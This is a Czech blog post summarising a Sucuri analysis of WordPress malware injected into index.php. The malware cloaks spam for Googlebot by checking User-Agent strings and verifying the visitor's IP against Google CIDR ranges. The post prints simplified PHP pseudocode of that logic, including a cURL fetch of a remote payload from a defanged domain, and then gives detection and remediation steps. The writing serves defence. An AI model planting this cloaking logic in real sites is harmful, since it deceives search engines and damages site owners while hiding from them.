---
title: "Když malware „krmí“ Googlebot: selektivní cloaking s ověřením IP přes ASN a CIDR ve WordPressu"
url: "https://helloblog.io/cs/kdyz-malware-krmi-googlebot-selektivni-cloaking-asn-cidr-wordpress/"
date: "2026-01-13"
modified: "2026-01-20"
author: "Lucie Procházková"
language: "cs_CZ"
categories: ["Bezpečnost"]
tags: ["cloaking", "Googlebot", "malware", "SEO", "WordPress"]
featured_image: "https://helloblog.io/app/uploads/sites/11/2026/01/featured-3-1024x572.jpg"
excerpt: "Útočníci čím dál častěji přestávají dělat laciné přesměrování pro každého. Místo toho cílí jen na Googlebot – a běžným návštěvníkům (i majiteli webu) nechají zobrazit naprosto normální obsah."
---

# Když malware „krmí“ Googlebot: selektivní cloaking s ověřením IP přes ASN a CIDR ve WordPressu

V poslední době narážím na zajímavý posun v „SEO malwaru“: nejde o agresivní přesměrování, které si všimneš hned. Útočník raději potichu upraví vstupní bod webu (typicky `index.php`) a začne rozhodovat, komu ukáže jakou verzi stránky. Běžní uživatelé vidí čistý web. Vyhledávač ale dostane úplně jiný obsah – často spam nebo doorway stránky – které mají ovlivnit indexaci a reputaci domény.

Konkrétní incident popsaný Sucuri je zajímavý tím, že útočník neověřoval Googlebot jen podle `User-Agent` hlavičky (to jde snadno podvrhnout), ale navíc kontroloval, jestli IP adresa návštěvníka opravdu patří do IP rozsahů Googlu. A to velmi technicky: přes seznam ASN rozsahů v CIDR a bitové operace, včetně podpory IPv6.

## Co bylo kompromitované: WordPress `index.php` jako „vrátný“

V popsaném případě byl injektovaný kód přímo v hlavním `index.php` WordPressu. To je pro útočníka ideální místo: jde o soubor, kterým projde většina požadavků, a zároveň může skript při „nezajímavém“ návštěvníkovi nenápadně předat řízení standardnímu bootstrappingu WordPressu.

Výsledek je klasický cloaking (maskování): Google vidí jiný obsah než člověk. Jenže realizace je mnohem selektivnější a hůř se odhaluje běžným ručním testováním.

![Schéma selektivního doručování obsahu s ověřením IP (IP-verified conditional logic)](https://helloblog.io/app/uploads/sites/11/2026/01/IP-Verified-Conditional-Logic.png)

*Útočník rozhoduje podle identity návštěvníka, zda zobrazí čistý web, nebo vzdálený payload. — *Forrás: Sucuri Blog**

## Proč nestačí kontrola `User-Agent` a proč útočníci sahají po ASN

`User-Agent` je textový řetězec posílaný klientem (prohlížečem nebo crawlerem) v HTTP požadavku. Weby ho běžně používají pro analýzu, personalizaci nebo kompatibilitu. Z pohledu útočníka je to ale jen první filtr – a hlavně je triviálně spoofovatelný.

Proto v tomto incidentu následovalo druhé síto: ověření, že IP adresa opravdu patří do Google infrastruktury. V praxi to útočník řešil tak, že měl v kódu „zadrátovaný“ seznam IP rozsahů asociovaných s Google ASN (Autonomous System Number). ASN si můžeš představit jako internetovou identitu organizace: seskupuje IP adresy, které daný subjekt provozuje.

### CIDR v kostce (a proč je pro malware praktický)

CIDR (Classless Inter-Domain Routing) je zápis rozsahu IP adres, typicky ve tvaru `192.168.1.0/24`. Místo vyjmenování všech adres říká, jak velký blok to je. Pro útočníka je to ideální: stačí uložit několik desítek/stovek CIDR rozsahů a otestovat, jestli IP návštěvníka do některého spadá.

![Ukázka CIDR formátu pro definici rozsahů IP adres](https://helloblog.io/app/uploads/sites/11/2026/01/CIDR-format.png)

*CIDR zápis vyjadřuje blok adres kompaktně, bez ručního vyjmenování. — *Forrás: Sucuri Blog**

## Co je na tomhle útoku „nové“: bitové ověřování rozsahu a IPv6

Spousta cloaking skriptů dělá primitivní kontrolu typu „obsahuje `User-Agent` řetězec Googlebot?“. Tady šel útočník dál: ověřoval IP adresu matematicky tak, aby přesně seděla do síťového bloku. Pro IPv4 používal bitové operace (AND s netmaskou) – tedy robustní test, který se běžně používá i v síťových nástrojích.

```
<?php
// Pseudokód / zjednodušené schéma logiky z incidentu:

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$ip        = $_SERVER['REMOTE_ADDR'] ?? '';

// 1) První filtr: User-Agent (snadno spoofovatelný)
$isGoogleUA = preg_match('~Googlebot|Google-InspectionTool|Google-Site-Verification~i', $userAgent);

// 2) Druhý filtr: IP musí spadat do Google ASN rozsahů v CIDR
// (v incidentu byl seznam rozsáhlý a zadrátovaný přímo v souboru)
$isGoogleIP = ip_in_cidr_ranges($ip, $googleCidrs);

if ($isGoogleUA && $isGoogleIP) {
    // 3) Pro ověřeného bota stáhnout vzdálený obsah a poslat ho jako „nativní“ HTML
    $payload = curl_fetch('hxxps://amp-samaresmanor[.]pages[.]dev');
    if ($payload) {
        echo $payload;
        exit;
    }

    // 4) Fail-safe: když payload selže, neukazovat botovi rozbitou stránku
    header('Location: /home/');
    exit;
}

// 5) Pro běžné uživatele: standardní WordPress
require_once __DIR__ . '/wp-blog-header.php';
```

Klíčová část je kontrola „IP ∈ CIDR rozsah“. V analýze Sucuri je zmíněná logika ve stylu bitového porovnání (u IPv4) – v principu jde o to, že se IP adresa i síťová adresa „oříznou“ netmaskou a porovnají. Skript navíc počítal i s IPv6, což je detail, který starší malware často ignoruje, a tím je jednodušší odhalit.

![Diagram validace IP rozsahu pomocí bitových operací](https://helloblog.io/app/uploads/sites/11/2026/01/Bitwise-IP-Range-Validation.png)

*Namísto string matchingu jde o přesnou síťovou matematiku nad IP a netmaskou. — *Forrás: Sucuri Blog**

## Doručení payloadu: cURL a vzdálený obsah jako „nativní“ stránka

Po úspěšném ověření identity (Google `User-Agent` + IP v Google rozsazích) malware stáhl obsah z externího endpointu přes cURL a rovnou ho vypsal do response. Z pohledu crawleru to vypadá, jako by daný spam/doorway obsah hostoval přímo napadený web.

V incidentu se zmiňuje konkrétní doména `amp-samaresmanor[.]pages[.]dev` (ve zdrojích je uvedeno, že byla v době psaní blocklistovaná vybranými bezpečnostními vendor y). Důležité je, že tento typ kampaně může endpointy rotovat – takže samotné blokování jedné domény není systémové řešení.

![Schéma stažení vzdáleného payloadu přes cURL a jeho vložení do stránky](https://helloblog.io/app/uploads/sites/11/2026/01/Remote-Payload-Execution-via-cURL.png)

*Bot dostane obsah z externího zdroje, který se tváří jako součást webu. — *Forrás: Sucuri Blog**

## Filtrace Google ekosystému: nejde jen o „Googlebot“

Další detail, který dává smysl: útočník necílil jen na řetězec „Googlebot“. Zahrnul i různé identifikátory související s kontrolními nástroji, verifikací webu nebo API crawlery. Cíl je jasný – zajistit, aby se podvržený obsah dostal do indexu a zároveň prošel interními kontrolami Googlu.

![Ukázka filtrování User-Agentů v malwaru pro různé Google crawler a nástroje](https://helloblog.io/app/uploads/sites/11/2026/01/User-Agent-Filtering.png)

*Širší seznam User-Agentů zvyšuje šanci, že spam projde indexací i verifikací. — *Forrás: Sucuri Blog**

## Rozhodovací logika a logování: útočník chce zpětnou vazbu

Tohle není „jednorázový“ skript. Podle popisu měl útočník i ošetření chyb a logování, aby viděl, kdy se podařilo servírovat payload, a kdy naopak někdo zkoušel podvrhnout Google `User-Agent`, ale neseděla IP.

- Legitimní bot (UA + IP sedí): zobrazí vzdálený obsah; pokud se nepodaří stáhnout, přesměruje na `/home/`, aby Google neviděl chybu.
- Fake bot (UA sedí, IP nesedí): zaloguje pokus a přesměruje na legitimní obsah, aby analýza byla těžší.
- Běžní uživatelé: typicky okamžitě uvidí standardní web (nebo jsou přesměrováni na „čistou“ landing page).

![Rozhodovací strom malwaru: ověření User-Agent, ověření IP, stažení payloadu, fallback a logování](https://helloblog.io/app/uploads/sites/11/2026/01/Conditional-Logic-and-Error-Logging.png)

*Více vrstev kontroly minimalizuje šanci, že si problému všimneš při běžné návštěvě. — *Forrás: Sucuri Blog**

## Proč se to dotýká hlavně SEO (a proč je to problém i pro vývojáře)

Dopad je primárně reputační a SEO: web začne vyhledávači servírovat něco, co s ním nesouvisí. Následky bývají tvrdé – od zhoršení výsledků vyhledávání až po blacklist nebo deindexaci. Zároveň platí, že takový útok se detekuje pozdě, protože majitel webu při ruční kontrole vidí „všechno v pořádku“.

## Varovné signály: co zkontrolovat jako první

- Divné výsledky v Google (nečekané title/description, cizojazyčný spam, podivné landing pages).
- Nedávno změněné core soubory – hlavně `index.php` a další vstupní body.
- Podezřelé externí URL v kódu a v serverových logách (např. volání na neznámé domény).
- Neočekávané záznamy v logách (redirecty, cURL requesty, „fake bot“ hlášky apod.).

## Jak to funguje ve vztahu k WordPress core souborům

Z pohledu WordPressu je zajímavé, jak útočník balancuje mezi škodlivou logikou a zachováním funkčnosti webu. V popsané variantě si malware pomáhal i standardními soubory:

- `wp-load.php`: jeho includování „nastartuje“ WordPress prostředí (konfigurace, DB připojení, constants), což útočníkovi otevírá dveře k dalším možnostem.
- `wp-blog-header.php`: typický závěr čistého `index.php` – pokud skript rozhodne, že nemá servírovat payload, předá řízení běžnému vykreslení webu.

## Remediace a prevence: co má reálný efekt

U podobných kompromitací je důležité dělat úklid systematicky, ne jen „smazat jednu podezřelou věc“. Přímo ve zdroji jsou doporučené tyto kroky:

- Odstranit neznámé soubory/adresáře a vrátit změněné soubory do čistého stavu (ideálně z ověřeného zdroje / balíčku).
- Zkontrolovat uživatele ve WordPressu a odstranit podezřelé administrátory (typicky „pomocný“ účet vytvořený útočníkem).
- Resetovat přístupy: WordPress admin, FTP/SFTP, hosting panel, databáze.
- Zkontrolovat vlastní pracovní stanici (AV/malware scan) – kompromitace často začíná od ukradených přístupů.
- Udržovat aktualizace WordPressu, pluginů a šablon.
- Nasadit WAF (Web Application Firewall) – pomáhá blokovat komunikaci na známé škodlivé endpointy a často i prvotní upload zranitelného pluginu nebo webshellu.

#### Praktická poznámka k detekci

Pokud se spoléháš jen na ruční proklik webu v prohlížeči, tenhle typ útoku snadno přehlédneš. Dává smysl hlídat integritu souborů (File Integrity Monitoring) a pravidelně kontrolovat indexované URL v Google Search Console.

## Shrnutí: selektivní cloaking už není „jen UA string“

Tahle kampaň dobře ilustruje trend: útočníci přestávají dělat nápadné věci a raději z napadeného webu udělají řízenou bránu pro obsah určený vyhledávačům. Ověření Googlebotu přes ASN/CIDR a bitové operace (navíc s IPv6) výrazně snižuje šanci, že se problém projeví při běžné kontrole.

Pro vývojáře a správce WordPressu z toho plyne jednoduchá priorita: hlídat změny v core souborech (zejména `index.php`), mít přehled o tom, co se indexuje, a incident řešit jako kompromitaci celé instalace – ne jako izolovaný „divný redirect“.

## Reference / Zdroje

- [Malware Intercepts Googlebot via IP-Verified Conditional Logic](https://blog.sucuri.net/2026/01/malware-intercepts-googlebot-via-ip-verified-conditional-logic.html)
- [Google sees spam, you see your site: a cloaked SEO spam attack](https://blog.sucuri.net/2026/01/google-sees-spam-you-see-your-site-a-cloaked-seo-spam-attack.html)
- [VirusTotal URL report](https://www.virustotal.com/gui/url/5a006beedf563c6215a31746d011d13fd4f2561a1bf3b557484c4532b13e1ec6?nocache=1)
- [publicwww.com results for amp-samaresmanor.pages](https://publicwww.com/websites/amp-samaresmanor.pages/)
- [Sucuri Website Firewall](https://sucuri.net/website-firewall/)
- [File Integrity Monitoring (Sucuri Malware Detection & Scanning)](https://sucuri.net/malware-detection-scanning/)